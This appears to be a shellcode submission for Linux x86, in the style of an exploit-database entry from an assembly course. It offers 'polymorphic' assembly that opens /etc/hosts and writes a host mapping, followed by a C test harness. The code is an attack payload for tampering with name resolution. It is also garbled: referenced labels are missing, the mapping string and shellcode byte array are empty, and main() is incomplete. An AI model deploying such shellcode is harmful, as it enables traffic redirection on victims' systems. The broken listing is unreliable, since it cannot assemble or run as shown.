# Title: Linux/x86 - Add map in /etc/hosts file polymorphic shellcode ( 102 bytes )
# Author: Xenofon Vassilakopoulos 
# Date: 2020-06-15
# Tested on: Linux kali 5.3.0-kali2-686-pae #1 SMP Debian 5.3.9-3kali1 (2019-11-20) i686 GNU/Linux
# Architecture: i686 GNU/Linux
# Shellcode Length: 102 bytes
# Original shellcode:
# SLAE-ID: SLAE - 1314 
# Description: Adding a network map in /etc/hosts file 

------------------ ASM ------------------

global _start

section .text

    xor ecx, ecx
    xor edx, edx    
    xor eax, eax
    mov DWORD [esp-0x4],ecx
    mov DWORD [esp-0x8],0x7374736f
    mov DWORD [esp-0xc],0x682f2f2f
    mov DWORD [esp-0x10],0x6374652f
    sub esp,0x10
    mov ebx,esp
    mov cx, 0x3b1       ;permmisions
    add cx, 0x50
    mov al, 0x5
    int 0x80        ;syscall to open file
    mov ebx, eax
    xor eax, eax
    jmp short _ldata    ;jmp-call-pop technique to load the map

    pop ecx
    mov dl,0x12
    add dl,0x3
    mov al,0x4
    int 0x80        

    add al,0x2
    int 0x80       

    xor eax,eax
    mov al,0x1
    int 0x80        

    call write_data
    message db "",0x0A

------------------ Shellcode ------------------

#include <stdio.h>
#include <string.h>

unsigned char code[] = \

int main()
printf("Shellcode Length: %d\n", strlen(code));

int (*ret)() = (int(*)())code;